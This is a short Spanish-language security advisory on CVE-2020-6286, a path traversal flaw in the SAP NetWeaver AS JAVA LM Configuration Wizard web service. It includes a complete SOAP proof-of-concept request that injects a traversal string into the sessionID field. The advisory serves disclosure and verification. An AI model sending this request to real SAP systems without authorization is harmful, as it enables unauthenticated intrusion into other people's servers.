
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Recorrido de Directorios
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Directory Traversal
SAP NetWeaver es la plataforma tecnológica integrada de SAP y la base técnica de todas las aplicaciones SAP desde SAP Business Suite. SAP NetWeaver es una plataforma de aplicación e integración orientada a servicios que proporciona un entorno de desarrollo y ejecución para las aplicaciones SAP, y también puede utilizarse para desarrollo personalizado e integración con otras aplicaciones y sistemas. La validación insuficiente de la ruta de entrada de un determinado parámetro en el servicio web de SAP NetWeaver AS JAVA (LM Configuration Wizard), versiones 7.30, 7.31, 7.40, 7.50, permite a un atacante no autenticado explotar un método para descargar archivos zip a un directorio específico, lo que conduce a Path Traversal.
Para una prueba de concepto segura, puede utilizar la siguiente petición. Si el archivo zip existe en el host remoto, se descargará el archivo 111.zip
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header />
<soapenv:Body>
<urn:queryProtocol>
<sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
</urn:queryProtocol>
</soapenv:Body>
</soapenv:Envelope>